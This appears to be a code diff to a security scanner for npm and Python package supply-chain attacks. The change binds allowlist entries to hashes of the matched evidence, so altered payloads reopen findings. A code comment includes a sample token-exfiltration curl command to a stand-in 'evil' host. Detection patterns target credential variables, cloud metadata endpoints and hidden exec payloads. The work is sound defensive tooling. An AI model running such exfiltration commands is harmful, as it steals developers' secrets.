+    literal spanning several lines or a ``/)/`` regex -- which a per-line regex
+    cannot blank. Escapes are honoured."""
+    out: list[str] = []
+    in_back = False  # inside a multi-line `template` literal
+    prev_sig = ""  # last significant non-space char (for regex-vs-division)
+    for line in lines:
+        buf: list[str] = []
+        i, n = 0, len(line)
+        while i < n:
+            if in_back:
+                end = _find_unescaped(line, "`", i)
+                if end == -1:
+                    buf.append(" " * (n - i))
+                    i = n
+                else:
+                    buf.append(" " * (end - i + 1))
+                    i = end + 1
+                    in_back = False
+                    prev_sig = "`"
+                continue
+            ch = line[i]
+            if ch in " \t":
+                buf.append(ch)
+                i += 1
+                continue
+            if ch in "'\"`":
+                end = _find_unescaped(line, ch, i + 1)
+                if end == -1:
+                    buf.append(" " * (n - i))
+                    i = n
+                    if ch == "`":  # opens a template literal that runs past this line
+                        in_back = True
+                else:
+                    buf.append(" " * (end - i + 1))
+                    i = end + 1
+                prev_sig = "v"  # a string is a value: a following `/` is division
+                continue
+            if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
+                # Regex literal: blank to the closing unescaped `/` outside a `[...]`
+                # char class. A regex never spans lines, so no close on the line
+                # means this `/` is really division.
+                j, in_class, closed = i + 1, False, False
+                while j < n:
+                    c = line[j]
+                    if c == "\\":
+                        j += 2
+                        continue
+                    if c == "[":
+                        in_class = True
+                    elif c == "]":
+                        in_class = False
+                    elif c == "/" and not in_class:
+                        j += 1
+                        closed = True
+                        break
+                    j += 1
+                if closed:
+                    buf.append(" " * (j - i))
+                    i = j
+                    prev_sig = "v"  # a regex is a value
+                    continue
+                buf.append(ch)
+                i += 1
+                prev_sig = "/"
+                continue
+            buf.append(ch)
+            i += 1
+            prev_sig = ch
+        out.append("".join(buf))
+    return out
+
+
+def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
+    """Precompute once per evidence call: raw lines for display, two string-blanked
+    views for bracket counting (single-line via regex = legacy, and multi-line
+    aware so a template literal spanning lines is blanked), and newline offsets for
+    O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
+    file on every single match (which was O(matches x file size))."""
+    lines = text.split("\n")
+    sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
+    ml_blanked = _blank_js_strings(lines)
+    nl = [p for p, ch in enumerate(text) if ch == "\n"]
+    return lines, sl_blanked, ml_blanked, nl
+
+
+# Cap on formatted matches in one evidence string; beyond it the remaining match
+# texts are folded into a single digest so a huge/minified file cannot build a
+# multi-megabyte evidence blob while an added/removed match past the cap still
+# changes the key.
+_MAX_EVIDENCE_MATCHES = 64
+
+
+def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
+    """(start, end) line indices of the bracket group enclosing line ``idx`` in one
+    blanked view: scan back to the still-open opener, then forward to its close."""
+    # Backward: find the line that opens a bracket still unclosed at the match,
+    # so a match inside a multi-line object starts from the object opener. Each line
+    # is reduced to (L, R) and applied in order: first the L closers consume open
+    # brackets from the running context (a stray closer whose opener is outside the
+    # window only clamps depth at 0, it never goes negative), then the R openers
+    # add to it. Tracking order this way (rather than a single net per line) keeps a
+    # trailing opener visible even when leading closers on the same line net it to
+    # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
+    # changed path/headers after such a line ride the unchanged-hostname key.
+    start = idx
+    depth = 0
+    for j in range(max(0, idx - _MAX_CONT_LINES), idx):
+        left, right = _bracket_lr(blanked[j])
+        if left >= depth:
+            depth = 0  # everything opened so far in the window has closed
+            start = idx
+        else:
+            depth -= left
+        if right > 0:
+            if depth == 0:
+                start = j  # outermost still-open opener begins here
+            depth += right
+
+    # Forward: extend until the group opened at `start` closes past the match. The
+    # same order-aware reduction is used (clamping leading closers at 0) so the
+    # foreign `})` on the opener line does not drive the count negative and stop the
+    # scan before the real close. The cap is measured from the match (`idx`), not
+    # from `start`, so an opener found near the backward limit does not eat the
+    # whole forward budget and drop the path/headers/body that follow the match.
+    depth = 0
+    end = start
+    for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
+        left, right = _bracket_lr(blanked[j])
+        depth = max(0, depth - left) + right
+        end = j
+        if j >= idx and depth <= 0:
+            break
+    return start, end
+
+
+def _canon_preserve_strings(text: str) -> str:
+    """Whitespace canon that collapses runs OUTSIDE string literals to a single
+    space (so a reindent or spacing change between tokens stays stable) while
+    preserving whitespace INSIDE single/double/backtick string literals (so a
+    changed payload body, e.g. ``'a b'`` -> ``'a  b'``, reopens). A plain
+    ``" ".join(text.split())`` erases both, suppressing an intra-literal payload
+    edit along with harmless indentation. Leading/trailing outside whitespace is
+    dropped; escapes inside strings are honoured. Used for the evidence hash and
+    the logical-line digests so the two stay consistent."""
+    out: list[str] = []
+    i, n = 0, len(text)
+    quote: str | None = None
+    pending_space = False
+    while i < n:
+        ch = text[i]
+        if quote is not None:
+            out.append(ch)
+            if ch == "\\" and i + 1 < n:
+                out.append(text[i + 1])
+                i += 2
+                continue
+            if ch == quote:
+                quote = None
+            i += 1
+            continue
+        if ch.isspace():
+            pending_space = True
+            i += 1
+            continue
+        if pending_space and out:
+            out.append(" ")
+        pending_space = False
+        out.append(ch)
+        if ch in "'\"`":
+            quote = ch
+        i += 1
+    return "".join(out)
+
+
+def _logical_line_text(
+    lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
+) -> str:
+    """The matched line plus the bracket group it belongs to (the enclosing
+    multi-line object/call, so a changed ``path``/``headers``/body on another line
+    binds). Returns the UNION of the groups found in the single-line-blanked view
+    (legacy: a payload embedded inside a template still counts so its brackets bind
+    the call) and the multi-line-blanked view (a bracket inside a template literal
+    spanning lines no longer closes the group early). Unioning never shrinks the
+    span below either view, so neither blanking strategy can drop a line a
+    malicious change relies on."""
+    s1, e1 = _scan_group(sl_blanked, idx)
+    s2, e2 = _scan_group(ml_blanked, idx)
+    start, end = min(s1, s2), max(e1, e2)
+    return " ".join(lines[start : end + 1])
+
+
+def _format_match(
+    text: str,
+    lines: list[str],
+    sl_blanked: list[str],
+    ml_blanked: list[str],
+    nl: list[int],
+    m: re.Match,
+    max_chars: int,
+) -> str:
+    # The shown snippet is a small window around the match; append a digest of the
+    # full LOGICAL line (the matched line plus its bracket-continuation lines)
+    # whenever the snippet does not already show all of it, so a changed payload
+    # tail, a truncated body, or a multi-line option/header reopens. Offsets are
+    # mapped to line numbers via bisect over precomputed newline positions, so this
+    # is O(log n) instead of rescanning the file prefix for every match.
+    idx = bisect.bisect_left(nl, m.start())  # 0-based line index of the match
+    line_start = nl[idx - 1] + 1 if idx > 0 else 0
+    ke = bisect.bisect_left(nl, m.end())
+    line_end = nl[ke] if ke < len(nl) else len(text)
+    full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
+    start = max(line_start, m.start() - 30)
+    end = min(line_end, m.end() + 30)
+    snippet = text[start:end].replace("\n", " ")
+    if len(snippet) > max_chars:
+        snippet = snippet[:max_chars] + "..."
+    if snippet != full_logical:
+        # Normalize before digesting, matching _evidence_hash, so a formatter-only
+        # reindent of the bound continuation lines does not reopen -- but preserve
+        # whitespace inside string literals so a changed request/payload body does.
+        canon = _canon_preserve_strings(full_logical)
+        digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
+        snippet = f"{snippet} sha256:{digest}"
+    return snippet
+
+
+def _stream_overflow_digest(
+    matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
+) -> tuple[int, str]:
+    """A single digest binding the LOGICAL line (the bound bracket-group context,
+    not just the regex match text) of every overflow match in the iterable, plus
+    the count of matches folded. Streams the matches (any iterable of re.Match) so a
+    huge overflow never materializes a list. Whitespace-normalized to match
+    _evidence_hash so a reindent does not reopen."""
+    h = hashlib.sha256()
+    count = 0
+    for m in matches:
+        _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
+        count += 1
+    return count, h.hexdigest()
+
+
+def _fold_overflow_match(
+    h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
+) -> None:
+    """Fold one overflow match's whitespace-normalized logical-line context into the
+    running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
+    fold in _outbound_host_evidence so both produce the identical digest."""
+    idx = bisect.bisect_left(nl, m.start())
+    ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
+    h.update(b"\x00")
+    h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
+
+
 def _evidence(
     text: str,
     pat: re.Pattern,
     max_chars: int = 200,
 ) -> str:
-    m = pat.search(text)
-    if not m:
+    # Record every match (not a truncated sample) so an extra match appended to an
+    # already-flagged file changes the evidence instead of riding the first few.
+    # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
+    # (binding their logical-line context) so the evidence string stays bounded
+    # while a changed payload past the cap still reopens. The matches are streamed
+    # from finditer rather than materialized into a list: a generated file can
+    # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
+    # re.Match per occurrence before applying the cap would stall or OOM the scan.
+    it = pat.finditer(text)
+    shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
+    if not shown_matches:
         return ""
-    start = max(0, m.start() - 30)
-    end = min(len(text), m.end() + 30)
-    snippet = text[start:end].replace("\n", " ")
-    if len(snippet) > max_chars:
-        snippet = snippet[:max_chars] + "..."
-    return snippet
+    lines, sl_blanked, ml_blanked, nl = _index_text(text)
+    shown = [
+        _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
+    ]
+    # Fold the rest (past the cap) into one digest as they arrive, never building a
+    # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
+    overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
+    if overflow_count:
+        shown.append(f"(+{overflow_count} more) sha256:{digest}")
+    return " | ".join(shown)
+
+
+def _ioc_evidence(text: str, needle: str) -> str:
+    """Matched-line context (with bracket-group continuation) for a literal IOC
+    needle, so a changed adjacent fetch/exfil body reopens the key instead of
+    riding the bare constant. Falls back to the needle itself if, defensively,
+    nothing matches (the caller only reaches here when ``needle in text``)."""
+    return _evidence(text, re.compile(re.escape(needle))) or needle
 
 
 LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
@@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
         body = scripts.get(hook)
         if not isinstance(body, str):
             continue
+        # Pin the whole lifecycle body via one digest shared by every lifecycle
+        # finding below: a script that keeps the matched signal but changes
+        # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
+        # https://evil`) must reopen. The stored evidence is a bounded matched
+        # snippet plus this digest, never the entire body, so `--write-baseline`
+        # on a package with a multi-MiB install script does not bloat the baseline
+        # JSON while the digest still binds the full body. Normalized to match
+        # _evidence_hash so a reindent alone does not reopen, while whitespace
+        # inside quoted strings is preserved so a changed quoted payload does.
+        body_digest = hashlib.sha256(
+            _canon_preserve_strings(body).encode("utf-8", "replace")
+        ).hexdigest()
         if _LIFECYCLE_FETCH_EXEC.search(body):
             findings.append(
                 Finding(
@@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = f"lifecycle-fetch-exec ({hook})",
-                    evidence = body,
+                    evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
                     detail = (
                         f"`scripts.{hook}` fetches an external "
                         "resource and pipes/chains it to an "
@@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                         package = pkg.display,
                         filename = rel,
                         pattern = f"cred-path-in-lifecycle ({hook})",
-                        evidence = body,
+                        evidence = (
+                            f"{_evidence(body, re.compile(re.escape(path_substr)))} "
+                            f"body-sha256:{body_digest}"
+                        ),
                         detail = (
                             f"`scripts.{hook}` references {why} "
                             f"({path_substr!r}); install-time access "
@@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = f"cred-env-in-lifecycle ({hook})",
-                    evidence = _evidence(body, _JS_ENV_TOKEN),
+                    evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
                     detail = (
                         f"`scripts.{hook}` references a credential "
                         "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
@@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
     return False
 
 
+def _outbound_host_evidence(text: str, host: str) -> str:
+    """Evidence capturing the host WITH its outbound context (URL path, fetch
+    call, host config), so a changed path/headers/body reopens the key instead
+    of riding the bare host literal. Falls back to the host if none matches."""
+    host_re = re.escape(host)
+    patterns = (
+        re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
+        re.compile(
+            rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
+            rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
+            re.IGNORECASE,
+        ),
+        # Host-config form: capture the whole line (path/headers/body), so a
+        # changed outbound payload on the same hostname line reopens the key.
+        re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
+    )
+    # Record EVERY outbound context for the host, not just the first form that
+    # matches: a file that already has a baselined URL for the host and later adds
+    # a separate host-config request (or a second URL) must change the evidence so
+    # the new payload cannot inherit the old key. Forms are claimed in order, and a
+    # region already claimed by an earlier form is skipped, so the common
+    # single-context case keeps its existing snippet. Each form is capped at
+    # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
+    # minified file cannot make the overlap check quadratic; once chosen is full
+    # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
+    # list, so a host repeated millions of times cannot OOM the scan) and an added
+    # context still reopens.
+    lines, sl_blanked, ml_blanked, nl = _index_text(text)
+    claimed: list[tuple[int, int]] = []
+    chosen: list[re.Match] = []
+    overflow_count = 0
+    overflow_hash = hashlib.sha256()
+    for pat in patterns:
+        for m in pat.finditer(text):
+            if len(chosen) < _MAX_EVIDENCE_MATCHES:
+                # Overlap check runs only while filling the display list, so
+                # `claimed` is bounded by the cap and this stays O(cap) per match
+                # (not quadratic), while every later match is still counted below.
+                if any(m.start() < e and s < m.end() for s, e in claimed):
+                    continue
+                claimed.append((m.start(), m.end()))
+                chosen.append(m)
+            else:
+                _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
+                overflow_count += 1
+    if not chosen:
+        return host
+    chosen.sort(key = lambda m: m.start())
+    shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
+    if overflow_count:
+        shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
+    return " | ".join(shown)
+
+
 def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
     findings: list[Finding] = []
 
@@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
     if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
         text = _strip_js_noncode(text)
 
-    # IOC substrings (literal, case-sensitive).
+    # IOC substrings (literal, case-sensitive). Evidence is the matched-line
+    # context (with its bracket-group continuation), not the bare needle: an IOC
+    # host/hash left in place while the adjacent fetch/exfil body changes must
+    # reopen the key instead of riding the constant.
     for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
         if needle in text:
             findings.append(
@@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = "known-ioc-string",
-                    evidence = needle,
+                    evidence = _ioc_evidence(text, needle),
                     detail = f"{why}: {needle!r}",
                 )
             )
 
-    # Cred surfaces, tier 1: hosts with no legit use; bare substring.
+    # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
+    # (path/headers/body) when present so a changed exfil payload on the same call
+    # reopens; falls back to the bare host when it is not in an outbound call.
     for needle, why in CRED_HOST_ALWAYS_BAD:
         if needle in text:
             findings.append(
@@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = "cred-surface-host (always-bad)",
-                    evidence = needle,
+                    evidence = _outbound_host_evidence(text, needle),
                     detail = (
                         f"references {why} ({needle!r}); no legitimate "
                         "frontend use of this surface"
@@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = "cred-surface-host (outbound)",
-                    evidence = needle,
+                    evidence = _outbound_host_evidence(text, needle),
                     detail = (
                         f"references {why} ({needle!r}) in an outbound "
                         "call / URL / host config; a defensive blocklist "
@@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
                             package = pkg.display,
                             filename = rel,
                             pattern = "known-ioc-string",
-                            evidence = needle,
+                            evidence = _ioc_evidence(text, needle),
                             detail = f"{why}: {needle!r}",
                         )
                     )
@@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
 
 _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
 
-# Bumped when the entry-key semantics change. v2 keys on the package-relative
-# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
-# in a different directory. A pre-v2 baseline with entries is ignored (fail
-# closed) rather than mis-applied.
-_BASELINE_SCHEMA_VERSION = 2
+# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
+# payload under an already-listed package/path/pattern is not auto-suppressed; v2
+# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
+# with entries is ignored (fail closed) rather than mis-applied.
+_BASELINE_SCHEMA_VERSION = 3
 
 
 def _norm_pkg_name(display: str) -> str:
@@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
     return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
 
 
-def _finding_key(f: Finding) -> tuple[str, str, str]:
-    """Stable allowlist key: normalized package, package-relative path, pattern."""
-    return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
+def _evidence_hash(evidence: str) -> str:
+    """Stable digest of the matched evidence. The npm snippet carries no line
+    markers, so it is already version-stable; whitespace outside string literals is
+    collapsed (reindent-stable) while whitespace inside literals is preserved, so a
+    changed payload body reopens but a formatter reindent does not."""
+    canon = _canon_preserve_strings(evidence or "")
+    return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
 
 
-def _load_baseline(path: str) -> set[tuple[str, str, str]]:
+def _finding_key(f: Finding) -> tuple[str, str, str, str]:
+    """Allowlist key: normalized package, package-relative path, pattern, and a
+    hash of the matched evidence -- so changed flagged code under an already-listed
+    package/path/pattern reopens instead of riding the reviewed entry."""
+    return (
+        _norm_pkg_name(f.package),
+        _relpath_in_package(f.filename),
+        f.pattern,
+        _evidence_hash(f.evidence or f.detail),
+    )
+
+
+def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
     """Load an allowlist JSON into a set of match keys. Missing file -> empty."""
     try:
         with open(path, "r", encoding = "utf-8") as fh:
@@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
     except (OSError, json.JSONDecodeError) as exc:
         print(f"  [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
         return set()
+    if not isinstance(data, dict):
+        print(f"  [WARN] baseline {path} is not a JSON object", file = sys.stderr)
+        return set()
     entries = data.get("entries", [])
-    if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
+    if not isinstance(entries, list):
+        print(f"  [WARN] baseline {path} entries is not a list", file = sys.stderr)
+        return set()
+    # v2 shares v3's package-relative keying, so its entries migrate by recomputing
+    # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
+    if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
         print(
             f"  [WARN] baseline schema v{data.get('version')} predates package-relative "
             f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
             file = sys.stderr,
         )
         return set()
-    keys: set[tuple[str, str, str]] = set()
+    keys: set[tuple[str, str, str, str]] = set()
+    legacy = 0
     for e in entries:
+        if not isinstance(e, dict):
+            continue
         try:
-            keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
+            evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
+            if not e.get("evidence_hash"):
+                legacy += 1
+            keys.add(
+                (
+                    _norm_pkg_name(e["package"]),
+                    _relpath_in_package(e["file"]),
+                    e["pattern"],
+                    evidence_hash,
+                )
+            )
         except (KeyError, TypeError):
             continue
+    if legacy:
+        print(
+            f"  [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
+            f"not suppress until regenerated with --write-baseline (findings reopen "
+            f"rather than risk hiding changed code under a coarse key)",
+            file = sys.stderr,
+        )
     return keys
 
 
 def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
     """Persist at-or-above-threshold findings as an allowlist for triage."""
     entries = []
-    seen: set[tuple[str, str, str]] = set()
+    seen: set[tuple[str, str, str, str]] = set()
     for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
         if _SEVERITY_RANK[f.severity] > threshold_rank:
             continue
@@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
         if key in seen:
             continue
         seen.add(key)
+        evidence = f.evidence or f.detail
         entries.append(
             {
                 "package": _norm_pkg_name(f.package),
                 "file": _relpath_in_package(f.filename),
                 "pattern": f.pattern,
                 "severity": f.severity,
-                "evidence": (f.evidence or f.detail)[:240],
+                "evidence": evidence,
+                "evidence_hash": _evidence_hash(evidence),
             }
         )
     doc = {
         "_comment": (
             "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
             "finding manually judged benign. Matched on (package, "
-            "package-relative path, pattern); evidence/severity are for review "
-            "only. Regenerate with --write-baseline AFTER reviewing every line."
+            "package-relative path, pattern, evidence hash); a new payload under "
+            "an already-listed package/path/pattern reopens. severity is for "
+            "review only. Regenerate with --write-baseline AFTER reviewing every line."
         ),
         "version": _BASELINE_SCHEMA_VERSION,
         "entries": entries,
@@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
 
 
 def _partition_baseline(
-    findings: list[Finding], baseline: set[tuple[str, str, str]]
+    findings: list[Finding], baseline: set[tuple[str, str, str, str]]
 ) -> tuple[list[Finding], list[Finding]]:
     """Split findings into (active, suppressed) by allowlist membership."""
     if not baseline:
diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json
index 61d8e74023..6ed3cedef9 100644
--- a/scripts/scan_npm_packages_baseline.json
+++ b/scripts/scan_npm_packages_baseline.json
@@ -1,5 +1,5 @@
 {
-  "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
-  "version": 2,
+  "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
+  "version": 3,
   "entries": []
 }
diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index 4be9fc5efb..73f6ff2291 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -43,9 +43,10 @@ False positives:
     examples and `>>>` doctests cannot trip a finding. Residual findings that
     are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
     test fixture) are suppressed via a reviewed baseline allowlist, matched on
-    (package, basename(file), check). A NEW kind of finding in an already-listed
-    file is a different check and still fails. This mirrors the Hugging Face Hub
-    approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
+    (package, package-relative file, check, evidence hash). A new check, or
+    changed flagged code under the same check, reopens the finding; version
+    bumps and line shifts do not. This mirrors the Hugging Face Hub approach
+    (ClamAV/picklescan: low-FP, signature/structural, surface status).
 
 Exit codes:
     0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
@@ -55,6 +56,8 @@ Exit codes:
 
 import argparse
 import atexit
+import bisect
+import hashlib
 import io
 import json
 import os
@@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(
     re.DOTALL,
 )
 
+# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.
+RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)
+
 # Cloud metadata / IMDS endpoints
 RE_CLOUD_METADATA = re.compile(
     r"169\.254\.169\.254"  # AWS/Azure/GCP IMDS
@@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
 
     # Large base64 blob
     if RE_LARGE_BLOB.search(content):
-        blob = RE_LARGE_BLOB.search(content).group()
+        # Digest every blob (not just the first 120 chars, and not just the
+        # first blob), so a later payload that keeps the prefix or appends a
+        # second encoded blob reopens.
+        blob, digest = _blob_digest(content)
         findings.append(
             Finding(
                 CRITICAL,
                 package,
                 filename,
                 f".pth has large base64-like blob ({len(blob)} chars)",
-                blob[:120] + "...",
+                f"{blob[:120]}... sha256:{digest}",
             )
         )
 
-    # Catch-all: any import line in .pth if nothing else triggered
+    # Catch-all: any import line in .pth if nothing else triggered. Bind every
+    # line through a digest so an appended/swapped import reopens the key, but cap
+    # the displayed text so a large .pth of benign-looking imports cannot dump up
+    # to the archive member cap into the logs or baseline JSON.
     if not findings and import_lines:
-        evidence = "\n".join(import_lines[:5])
-        if len(import_lines) > 5:
-            evidence += f"\n... ({len(import_lines)} import lines total)"
+        evidence = _cap_line("\n".join(import_lines))
         findings.append(
             Finding(
                 HIGH,
@@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
     # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
     size = len(content)
     if size > 500 and import_lines:
+        # Pin the content so a different payload of the same size/import count reopens.
+        digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
         findings.append(
             Finding(
                 HIGH,
                 package,
                 filename,
                 f"Unusually large executable .pth ({size} bytes)",
-                f"{len(import_lines)} import line(s) in {size}-byte .pth file",
+                f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",
             )
         )
 
@@ -629,6 +641,13 @@ def _hidden_payload_findings(
     removed = "".join(o if o != s else " " for o, s in zip(original, code))
     out = []
 
+    # The visible exec/eval line is what makes the hidden string executable, so
+    # bind it into every finding's evidence: otherwise a reviewed false positive
+    # that keeps the same hidden text but flips a harmless `eval("1+1")` to
+    # `exec(__doc__)` (now running the payload) keeps the same key and stays
+    # suppressed. Taken from `stripped` (real code), where the exec/eval lives.
+    trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
+
     def _hidden(pat):
         # Carrier present in a blanked region but NOT in real code. A carrier in
         # real code is already caught by the normal check, so restricting to
@@ -643,7 +662,7 @@ def _hidden_payload_findings(
                     package,
                     filename,
                     "exec/eval with payload hidden in a docstring/string",
-                    f"{label}: {_extract_evidence(removed, pat)}",
+                    f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
                 )
             )
     # Fetch-then-run dropper: a network call AND an os/subprocess exec that both
@@ -657,7 +676,9 @@ def _hidden_payload_findings(
                 package,
                 filename,
                 "exec/eval with hidden network+exec payload",
-                f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
+                f"exec: {trigger}\n"
+                f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "
+                f"{_extract_evidence(removed, RE_SUBPROCESS)}",
             )
         )
     return out
@@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
 
     # openssl encryption + network/key material (encrypted exfiltration)
     if has_openssl_cli and (has_network or has_keys):
+        # Bind whichever side(s) co-occur so a changed endpoint or key reopens.
+        evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
+        if has_network:
+            evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
+        if has_keys:
+            evidence.append(f"Key: {_embedded_key_evidence(content)}")
         findings.append(
             Finding(
                 CRITICAL,
                 package,
                 filename,
                 "openssl encryption + network/key material (encrypted exfiltration)",
-                f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"
-                f"Network: {_extract_evidence(content, RE_NETWORK)}",
+                "\n".join(evidence),
             )
         )
 
@@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
 
     # Obfuscated payload: base64 + exec/eval + large blob
     if has_base64 and has_exec_eval and has_blob:
+        # Digest every blob too: a payload may sit on a separate line from the
+        # decode call, and a second encoded blob may be appended later, so
+        # binding only the base64/exec lines or the first blob would miss it.
+        _, blob_digest = _blob_digest(content)
